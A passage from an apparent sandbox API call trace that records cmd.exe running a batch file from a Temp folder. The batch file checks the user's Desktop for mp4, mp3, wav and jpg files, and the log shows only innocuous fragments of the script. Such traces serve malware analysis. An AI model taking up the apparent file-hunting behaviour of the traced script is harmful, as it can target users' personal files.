lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.440] GetLastError () returned 0x2 [0038.440] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.440] GetLastError () returned 0x6 [0038.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.440] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.440] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.441] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.441] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.441] SetConsoleInputExeNameW () returned 0x1 [0038.441] GetConsoleOutputCP () returned 0x1b5 [0038.441] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.441] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.441] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.442] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.442] GetProcessHeap () returned 0x4e0000 [0038.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0038.443] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171c, lpOverlapped=0x0) returned 1 [0038.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0038.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0038.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.443] GetFileType (hFile=0x74) returned 0x1 [0038.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0038.443] GetProcessHeap () returned 0x4e0000 [0038.443] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.443] GetProcessHeap () returned 0x4e0000 [0038.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.443] _tell (_FileHandle=3) returned 3859 [0038.443] _close (_FileHandle=3) returned 0 [0038.443] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.444] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0038.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0038.444] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171a, lpOverlapped=0x0) returned 1 [0038.444] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0038.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0038.444] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.444] GetFileType (hFile=0x74) returned 0x1 [0038.445] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.445] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.445] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.445] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.445] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.445] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.445] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.445] GetProcessHeap () returned 0x4e0000 [0038.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.446] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.446] _tell (_FileHandle=3) returned 3884 [0038.446] _close (_FileHandle=3) returned 0 [0038.446] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0038.446] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.447] GetLastError () returned 0x2 [0038.447] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.447] GetLastError () returned 0x6 [0038.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.447] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.447] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.447] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.447] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.447] SetConsoleInputExeNameW () returned 0x1 [0038.447] GetConsoleOutputCP () returned 0x1b5 [0038.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.448] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.448] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.448] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.448] GetProcessHeap () returned 0x4e0000 [0038.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0038.449] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1701, lpOverlapped=0x0) returned 1 [0038.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0038.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0038.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.449] GetFileType (hFile=0x74) returned 0x1 [0038.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0038.449] GetProcessHeap () returned 0x4e0000 [0038.449] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.449] GetProcessHeap () returned 0x4e0000 [0038.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.449] _tell (_FileHandle=3) returned 3886 [0038.449] _close (_FileHandle=3) returned 0 [0038.449] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.449] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0038.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0038.450] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16ff, lpOverlapped=0x0) returned 1 [0038.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0038.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0038.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.450] GetFileType (hFile=0x74) returned 0x1 [0038.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0038.450] GetProcessHeap () returned 0x4e0000 [0038.450] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.450] GetProcessHeap () returned 0x4e0000 [0038.450] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.450] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.450] GetProcessHeap () returned 0x4e0000 [0038.450] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.450] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.450] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.450] GetProcessHeap () returned 0x4e0000 [0038.450] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.450] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.451] GetProcessHeap () returned 0x4e0000 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.451] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.451] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.451] GetProcessHeap () returned 0x4e0000 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.451] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.451] GetProcessHeap () returned 0x4e0000 [0038.451] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.451] GetProcessHeap () returned 0x4e0000 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.451] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.452] _tell (_FileHandle=3) returned 3911 [0038.452] _close (_FileHandle=3) returned 0 [0038.452] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0038.452] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.452] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.452] GetLastError () returned 0x2 [0038.452] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.452] GetLastError () returned 0x6 [0038.452] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.452] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.453] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.453] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.453] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.453] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.453] SetConsoleInputExeNameW () returned 0x1 [0038.453] GetConsoleOutputCP () returned 0x1b5 [0038.453] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.453] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.453] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.454] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.454] GetProcessHeap () returned 0x4e0000 [0038.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0038.454] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e6, lpOverlapped=0x0) returned 1 [0038.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0038.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0038.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.455] GetFileType (hFile=0x74) returned 0x1 [0038.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0038.455] GetProcessHeap () returned 0x4e0000 [0038.455] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.455] GetProcessHeap () returned 0x4e0000 [0038.455] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.455] _tell (_FileHandle=3) returned 3913 [0038.455] _close (_FileHandle=3) returned 0 [0038.455] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.455] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0038.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0038.455] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e4, lpOverlapped=0x0) returned 1 [0038.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0038.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0038.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.456] GetFileType (hFile=0x74) returned 0x1 [0038.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.456] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.456] 